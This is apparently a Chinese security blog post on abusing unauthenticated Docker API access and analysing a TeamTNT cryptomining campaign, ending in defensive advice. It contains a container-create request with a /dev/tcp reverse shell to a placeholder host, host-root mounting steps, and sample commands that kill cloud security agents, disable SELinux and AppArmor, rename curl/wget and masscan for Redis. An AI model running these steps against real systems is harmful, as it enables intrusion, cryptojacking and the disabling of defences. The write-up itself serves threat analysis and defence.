记一次寻找docker未授权新的利用方式结果变成样本分析这件事
字数 1541 2025-08-05 08:19:35
Docker未授权访问漏洞利用与TEAMTNT挖矿样本分析
1. Docker未授权访问漏洞利用
1.1 传统利用方式
Docker的2375端口存在未授权访问安全问题,传统利用方式是通过-H tcp://ip:2375远程连接未授权的Docker API,然后:
- 运行一个新实例
- 使用
-v /:/mnt将物理服务器的根目录挂载到实例中 - 将SSH公钥写入物理服务器的
/root/.ssh/authorized_keys实现提权 - 或者将反弹shell脚本写入
/etc/crontab提权
1.2 更高级的API利用方式
通过Docker HTTP API可以实现更灵活的利用方式,主要涉及以下API端点:
-
拉取镜像:
curl -X POST "http://ip/images/create?fromImage=ubuntu&tag=latest" -
创建容器(POST /containers/create):
POST /containers/create HTTP/1.1 Host: ip:port Content-Type: application/json { "Image": "ubuntu:latest", "Cmd": ["/bin/bash", "-c", "bash -i>& /dev/tcp/ip/port 0>&1;while true;do echo hello world;sleep 1;done"], "HostConfig": { "Binds": ["/:/mnt"] } } -
启动容器:
curl -X POST "http://ip/containers/{id}/start"
这种方式的优势是可以精确控制容器配置,实现反弹shell同时挂载主目录。
2. TEAMTNT挖矿样本分析
2.1 攻击流程概述
- 通过Docker未授权访问漏洞入侵
- 下载并执行
cronb.sh脚本 cronb.sh部署挖矿环境后下载cronis.shcronis.sh安装扫描工具并执行cronscancronscan启动扫描器并下载cronrs.shcronrs.sh扫描内网和特定云IP段的Redis未授权漏洞扩大攻击范围
2.2 样本功能分析
2.2.1 cronb.sh主要功能
-
剔除云安全保护机制:
- 停止阿里云安骑士等安全服务
pkill -9 AliYunDun AliHids AliHips AliNet AliSecGuard AliYunDunUpdate- 删除阿里云监控插件
- 停止腾讯云安全组件
-
停用Linux安全机制:
setenforce 0 echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor -
安装Diamorphine rootkit:
- 通过base64编码的tar包安装
- 用于隐藏进程和提权
-
实现免密登录:
- 创建隐藏用户hilde
- 添加SSH公钥到
authorized_keys - 修改
/etc/passwd、/etc/shadow和/etc/sudoers
-
部署门罗币挖矿程序:
- 下载xmrig挖矿软件
- 配置矿池和钱包地址
- 设置CPU使用率
2.2.2 cronis.sh主要功能
-
命令替换绕检测:
mv /usr/bin/curl /usr/bin/url mv /usr/bin/url /usr/bin/cd1 mv /usr/bin/wget /usr/bin/get mv /usr/bin/get /usr/bin/wd1 -
安装扫描工具:
- 安装masscan和pnscan端口扫描器
- 下载并执行cronscan脚本
2.2.3 cronscan主要功能
- 下载cronrs.sh
- 创建systemd服务实现持久化
- 启动pnscan和masscan扫描器
2.2.4 cronrs.sh主要功能
- 扫描内网和特定云IP段的Redis未授权漏洞:
masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 - 利用发现的Redis未授权漏洞扩大攻击范围
2.3 TEAMTNT攻击特点
- 全面清除安全防护:针对阿里云和腾讯云的安全产品有专门的处理
- 持久化机制:通过systemd服务、SSH后门等多种方式实现
- 隐蔽性:使用rootkit隐藏进程,修改系统命令名称
- 横向移动:通过扫描内网和云服务商特定IP段寻找Redis等服务的未授权漏洞
- 模块化设计:分阶段下载和执行不同功能的脚本
3. 防御建议
-
Docker安全配置:
- 禁止Docker API的未授权访问
- 使用TLS认证保护Docker API
- 限制容器的能力集
-
系统安全加固:
- 保持SELinux或AppArmor启用状态
- 监控系统关键文件的修改
- 限制系统命令的修改
-
云安全防护:
- 不要随意停止云安全服务
- 配置云安全产品的告警规则
-
网络防护:
- 限制出站连接
- 监控异常扫描行为
- 配置网络ACL限制内部服务暴露
-
挖矿防护:
- 监控异常的CPU使用率
- 配置钱包地址黑名单
- 监控已知矿池域名和IP